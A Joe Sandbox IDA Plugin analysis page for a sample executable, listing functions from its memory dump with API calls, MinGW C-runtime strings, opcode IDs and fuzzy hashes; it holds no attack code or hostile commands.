Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: Valuecalloc
String ID:
API String ID: 1846630847-0
Opcode ID: 6812f66216274d3c5c08e393cd21bced3b4cd23879353236181e403c5bd671cf
Instruction ID: 669717aafa27e45ba31b9aafe21d8a2b6421f479c7aa8b4bed13acac9ff66540
Opcode Fuzzy Hash: 6812f66216274d3c5c08e393cd21bced3b4cd23879353236181e403c5bd671cf
Instruction Fuzzy Hash: 9DF0E531B0920142F7E56741AD04775A295EF48BC2FC880F4DE0CAB3C0ED2CAC82CB20

Function 00007FF723473590 Relevance: 1.3, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7234735BE

Part of subcall function 00007FF723472D40: memset.MSVCRT ref: 00007FF723472E46
Part of subcall function 00007FF723472D40: wcslen.MSVCRT ref: 00007FF723472EBE
Part of subcall function 00007FF723472D40: memset.MSVCRT ref: 00007FF723472EE7
Part of subcall function 00007FF723472D40: wcscpy.MSVCRT ref: 00007FF723472EF2
Part of subcall function 00007FF723472D40: wcslen.MSVCRT ref: 00007FF723472EFA

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: memset$wcslen$wcscpy
String ID:
API String ID: 3662116142-0
Opcode ID: cd400804e738a6a2e598a2b5e8d627f05c3e9b22e13fb12afb9f83f2548a3739
Instruction ID: b3c869f3c25a71b697c0badf6c34e90ac8b2a96f80a4b13a3f532c92346e6b68
Opcode Fuzzy Hash: cd400804e738a6a2e598a2b5e8d627f05c3e9b22e13fb12afb9f83f2548a3739
Instruction Fuzzy Hash: F5012662B0C68140E2B0FA12BD007FA9652EFC6BD1F8441B1FE8DA7B95CE3CD1418B04

Function 00007FF7234745A0 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7234745C0

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 1aa6017e8212d7d23ab123b29bd2faa6be019be7230b342e22f282b8c791c9a3
Instruction ID: 165347739e047cbfc3891f69a95d11ad9bb00363f9e77312e623f8755b1e7fd9
Opcode Fuzzy Hash: 1aa6017e8212d7d23ab123b29bd2faa6be019be7230b342e22f282b8c791c9a3
Instruction Fuzzy Hash: 80F0A796F1819541F750AA26A90437AD211E7C4BD4F84C170EF8C9B78EDE3CC4428B10

Non-executed Functions

Function 00007FF7234755C8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00007FF72347562D
signal.MSVCRT ref: 00007FF723475679
signal.MSVCRT ref: 00007FF723475692
signal.MSVCRT ref: 00007FF72347579A

Strings

CCG , xrefs: 00007FF7234755E5

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 10537504a00196a9b3d94431f1b0aef2330f68600c29619b56e7bd5272f2aefb
Instruction ID: c15c7a8b499ef2a558bcae14a08e01da52d16461b1f5869189c5dd8d7e0fde12
Opcode Fuzzy Hash: 10537504a00196a9b3d94431f1b0aef2330f68600c29619b56e7bd5272f2aefb
Instruction Fuzzy Hash: 1D415110E1910245FAF875785C50379A181DF8537AFE886F5D52DEB3F5DD2CA8908E31

Function 00007FF723476650 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 111COMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF72347679C

Strings

%.*S, xrefs: 00007FF7234767BA
%*.*S, xrefs: 00007FF723476795
%-*.*S, xrefs: 00007FF7234767CE

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: fwprintf
String ID: %*.*S$%-*.*S$%.*S
API String ID: 968622242-2115465065
Opcode ID: 84d0b5af0bba28016d910b015659d004573e6a62aca6fc178380274daab50a2d
Instruction ID: 5a81a21262d567480c8052918fc738610da3842891cfee60988800f160fe6209
Opcode Fuzzy Hash: 84d0b5af0bba28016d910b015659d004573e6a62aca6fc178380274daab50a2d
Instruction Fuzzy Hash: AA41B862A1865285F7E0AE159C047B9F292EB80BD6FD881F4DE1CA76C5DE3CE4418F20

Function 00007FF723475A80 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32 ref: 00007FF723475ABC
TlsGetValue.KERNEL32 ref: 00007FF723475A9C

Part of subcall function 00007FF723475A40: free.MSVCRT ref: 00007FF723475A5F

DeleteCriticalSection.KERNEL32 ref: 00007FF723475B16

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: Value$CriticalDeleteSectionfree
String ID:
API String ID: 2588641659-0
Opcode ID: 25fcd06e749af0576e577c08f9ed352b31984f942d49ab70c6168451ae3f547f
Instruction ID: 6683e3835334b1136309ac5c06105daa963d56de55c344d608033b419b23fc30
Opcode Fuzzy Hash: 25fcd06e749af0576e577c08f9ed352b31984f942d49ab70c6168451ae3f547f
Instruction Fuzzy Hash: A431B335D0D60782FAA0BB24EC94239A7AAFF94756FD441F5C41E666B0DE2CA844DF20

Function 00007FF723476900 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON

Download Yara Rule

Strings

%-*.*s, xrefs: 00007FF723476A61
%*.*s, xrefs: 00007FF723476A2A
%.*s, xrefs: 00007FF723476A4D

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID:
String ID: %*.*s$%-*.*s$%.*s
API String ID: 0-4054516066
Opcode ID: 93d9aa20cbdb08f1e76fe604c31f27c5c0d7c941f730e91fed70b1b938aed6fe
Instruction ID: c21426c0b567e82d845a95563743ca79a0dd2f9a79b3096f3ccdd96b0d877a6f
Opcode Fuzzy Hash: 93d9aa20cbdb08f1e76fe604c31f27c5c0d7c941f730e91fed70b1b938aed6fe
Instruction Fuzzy Hash: DA41B8B2A0875685E7E0BF25DC04279F796EB40756F94C1F4CE4DAA6C5EA2CA4418F20

Function 00007FF7234750B1 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00007FF72347516E
GetLastError.KERNEL32 ref: 00007FF72347517C

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7234751CC
VirtualProtect failed with code 0x%x, xrefs: 00007FF723475182
Address %p has no image-section, xrefs: 00007FF7234751E2

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: ErrorLastProtectVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 1672467334-2123141913
Opcode ID: d7a7c433264d073652459f1efc7dd244941dff9229673401627952973cab804b
Instruction ID: 523f5da9e1614ae9d9151b466db53ac667403174c1a5a436431d2c0d5a97e849
Opcode Fuzzy Hash: d7a7c433264d073652459f1efc7dd244941dff9229673401627952973cab804b
Instruction Fuzzy Hash: 5431D122F096428AF691AB50EC006B9B365FB44766FC481F1DE0CAB290EF3CE445CF20

Function 00007FF723475C20 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00007FF723475C6B
EnterCriticalSection.KERNEL32 ref: 00007FF723475C86
LeaveCriticalSection.KERNEL32 ref: 00007FF723475CA5

Strings

../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF723475C48
!dso || dso == &__dso_handle, xrefs: 00007FF723475C55

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavecalloc
String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
API String ID: 876395260-799109717
Opcode ID: e6aaeef770a37237046b64f61ce29759d7e0ea15082bef91a7bae917f86683eb
Instruction ID: 325a0ddba8c9a2a68066c4e1a5691a6fc0810728c0b74a9c4191ddaaee979d3d
Opcode Fuzzy Hash: e6aaeef770a37237046b64f61ce29759d7e0ea15082bef91a7bae917f86683eb
Instruction Fuzzy Hash: FC015E21A0960745FA90AB51FD442B5A39AFF48786FC440F0D90DA73A0EF2CA985CB20

Function 00007FF723475298 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00007FF7234753BD

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF723475553
Unknown pseudo relocation protocol version %d., xrefs: 00007FF723475562
Unknown pseudo relocation bit size %d., xrefs: 00007FF72347553A

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: dc83335a3dadcf2524c3e82afb01ea5867741f387cfdd7ee093d0d9eb9ede651
Instruction ID: 53b3aa7c8431abcf2d599a45fbe96dc38b1d92157f604a2727c477c5086e246d
Opcode Fuzzy Hash: dc83335a3dadcf2524c3e82afb01ea5867741f387cfdd7ee093d0d9eb9ede651
Instruction Fuzzy Hash: 8371C122F1864285FAA0AB219D0067DA661FF41B9AFD445F5CD2DAB7C8DE3DE441CF20

Function 00007FF72347B100 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF72347B15A
MultiByteToWideChar.KERNEL32 ref: 00007FF72347B19A

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: c24187cac5bff1d128cefd9ff085609a07eddebf6e59efd4b59ea4d86880635e
Instruction ID: 57a6b3504a7584ae6d5c610f36ac35b387d4b7bb78839b3ce3d9379afcc82464
Opcode Fuzzy Hash: c24187cac5bff1d128cefd9ff085609a07eddebf6e59efd4b59ea4d86880635e
Instruction Fuzzy Hash: E831B372A0C28186F3A05B34BC043B9B690FB80795F9881B5EA9997BD4CF3CD9858F10

Function 00007FF723476290 Relevance: 6.0, APIs: 4, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 00007FF7234762AB
TlsAlloc.KERNEL32 ref: 00007FF7234762B8
GetLastError.KERNEL32 ref: 00007FF7234762E0
abort.MSVCRT ref: 00007FF7234762E8

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: AllocCreateErrorLastSemaphoreabort
String ID:
API String ID: 4146797221-0
Opcode ID: 3df8b29197056a77df859586d79f1bf4d15e061451aadde36ef3289c2aa43424
Instruction ID: 29286111ab15e895d567d956afd2828a4d9923d0dd0197852f0e38bf2aee974b
Opcode Fuzzy Hash: 3df8b29197056a77df859586d79f1bf4d15e061451aadde36ef3289c2aa43424
Instruction Fuzzy Hash: CFF0FE70E0854381F6D4BB756C49039A757EF45353FD002F4C52DA25E0EF2CA5554E34

Function 00007FF723474E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF723474EE9

Strings

Unknown error, xrefs: 00007FF723474F60
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF723474ED9

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: bec2a2abb497f7a81624d47846920bd0d53a5862057e49c32a94b49e0e59a488
Instruction ID: 8075797e1a45940bffeeeeb68183787a33fd3c933559954f24bb4d1f8b2d96e6
Opcode Fuzzy Hash: bec2a2abb497f7a81624d47846920bd0d53a5862057e49c32a94b49e0e59a488
Instruction Fuzzy Hash: EE01C622908E88C1E2529F1CD8011FAB375FF5975AF945361EA8C36224DF29D543CB10

Function 00007FF723474F10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF723474EE9

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF723474F10
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF723474ED9

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 45e8a70f94a185c31541e1e23cfc07f2a2f839ba251156f79789ed1c5b7c23f7
Instruction ID: b615d6199fbfb8889fd0a023f795b45ee8a63afd8196777e3b7b6d0ef3c8ac99
Opcode Fuzzy Hash: 45e8a70f94a185c31541e1e23cfc07f2a2f839ba251156f79789ed1c5b7c23f7
Instruction Fuzzy Hash: ADF0C213908E8881D2519F28A8000BAB374FF4D78AF985365EB8C3A164DF28D6428B10

Function 00007FF723474F30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF723474EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF723474ED9
Total loss of significance (TLOSS), xrefs: 00007FF723474F30

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 07577753afb37eb5fcf5d63ae4e73adc70741b58ff7b1f344ad0f27d0edc3f3e
Instruction ID: bc4bd3811f8e1a3a0fff8e20e2647c011380b33079980969f09e3b1b0e30be98
Opcode Fuzzy Hash: 07577753afb37eb5fcf5d63ae4e73adc70741b58ff7b1f344ad0f27d0edc3f3e
Instruction Fuzzy Hash: F5F0C213908E8881E2519F28A8000FAB374FF4D78AF985365EB8C3A124DF28D6428B10

Function 00007FF723474F20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF723474EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF723474ED9
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF723474F20

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: eecb8fa550eb4f9658770f2b61e2844a682bd80113327cf1eeee3b9a414239df
Instruction ID: f177b928708753f50ed645cf3ff7e0814e0f9f5823fc776ec6e56b0cebd7acee
Opcode Fuzzy Hash: eecb8fa550eb4f9658770f2b61e2844a682bd80113327cf1eeee3b9a414239df
Instruction Fuzzy Hash: 8BF06213908E8881D2519F28AC011BAB375FF5D79AF995365EB8D3A164DF28D6428B10

Function 00007FF723474F50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF723474EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF723474ED9
Argument singularity (SIGN), xrefs: 00007FF723474F50

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 9c1f99675411f496ebae98d8a9fd8c25414099954248e06b923c836f49d44bcd
Instruction ID: 06085cd50f073336f88beebda2183dc6345e8db6dac4998eecd7b8d28cb1e83e
